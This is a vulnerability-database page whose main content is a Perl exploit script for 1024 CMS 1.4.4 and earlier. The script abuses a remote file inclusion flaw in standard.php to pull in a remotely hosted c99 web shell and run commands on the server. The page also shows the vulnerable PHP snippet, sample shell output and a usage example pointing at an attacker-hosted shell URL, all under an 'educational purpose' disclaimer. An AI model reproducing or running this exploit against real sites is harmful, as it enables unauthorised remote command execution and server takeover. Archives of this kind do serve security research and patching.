Lucene search
K

1024 CMS <= 1.4.4 - Remote Command Execution with RFI (c99) Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

1024 CMS <= 1.4.4 - Remote Command Execution with RFI (c99) Exploi

Code

                                                #!/usr/bin/perl
####################################################################
# 1024 CMS &#60;= 1.4.4 Remote Command Execution with RFI (c99) Exploit
# download: http://www.trebledesigns.com/1024cms.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# &#34;need&#34; allow_url_include = On && register_globals = On
#
# RFI vuln!: [/themes/default/layouts/standard.php]
#    &#60;?php
#      if($page_ck[&#39;custom&#39;] == &#39;N&#39; || isset($page_include)) {
#       if(!isset($page_include)) include(&#34;./pages/&#34;.$page.&#34;/default/content.php&#34;);
#     else include($page_include);
#       } else {
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq &#39;MSWin32&#39;) ? &#39;cls&#39; : &#39;clear&#39;);
}

&clear();

sub banner {
        &clear();
	print &#34;[x] 1024 CMS &#60;= 1.4.4 Remote Command Execution with RFI (c99) Exploit\n&#34;;
	print &#34;[x] Written By JosS\n&#34;;
	print &#34;[x] sys-project[at]hotmail[dot]com\n\n&#34;;
	print &#34;[+] Usage:\n&#34;;
	print &#34;[+]     $0 -vuln \&#34;web+path\&#34; -shell \&#34;shell\&#34;\n&#34;;
	print &#34;[+] eX: $0 -vuln \&#34;http://www.hack0wn.com/test/\&#34; -shell \&#34;http://hack0wn.com/c99.txt?\&#34;\n\n&#34;;
        exit();
}

my $options = GetOptions (
  &#39;help!&#39;            =&#62; \$help, 
  &#39;vuln=s&#39;            =&#62; \$vuln, 
  &#39;shell=s&#39;            =&#62; \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print &#34;[shell]:~\$ &#34;;
	chomp($cmd=&#60;STDIN&#62;);

	if ($cmd eq &#34;exit&#34; || $cmd eq &#34;quit&#34;) {
		exit 0;
	}

	my $ua = LWP::UserAgent-&#62;new;
        $iny=&#34;?&act=cmd&cmd=&#34; . $cmd . &#34;&d=/&submit=1&cmd_txt=1&#34;;
        chomp($iny);
        my $own = $vuln . &#34;/themes/default/layouts/standard.php?page_include=&#34; . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request-&#62;new(GET =&#62; $own);
	my $res = $ua-&#62;request($req);
	my $con = $res-&#62;content;
	if ($res-&#62;is_success){
		print $1,&#34;\n&#34; if ( $con =~ m/readonly&#62; (.*?)\&#60;\/textarea&#62;/mosix);
	}
           else
             {
                print &#34;[p0c] Exploit failed\n&#34;;
                exit(1);
             }
}

# __h0__

# milw0rm.com [2009-02-06]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation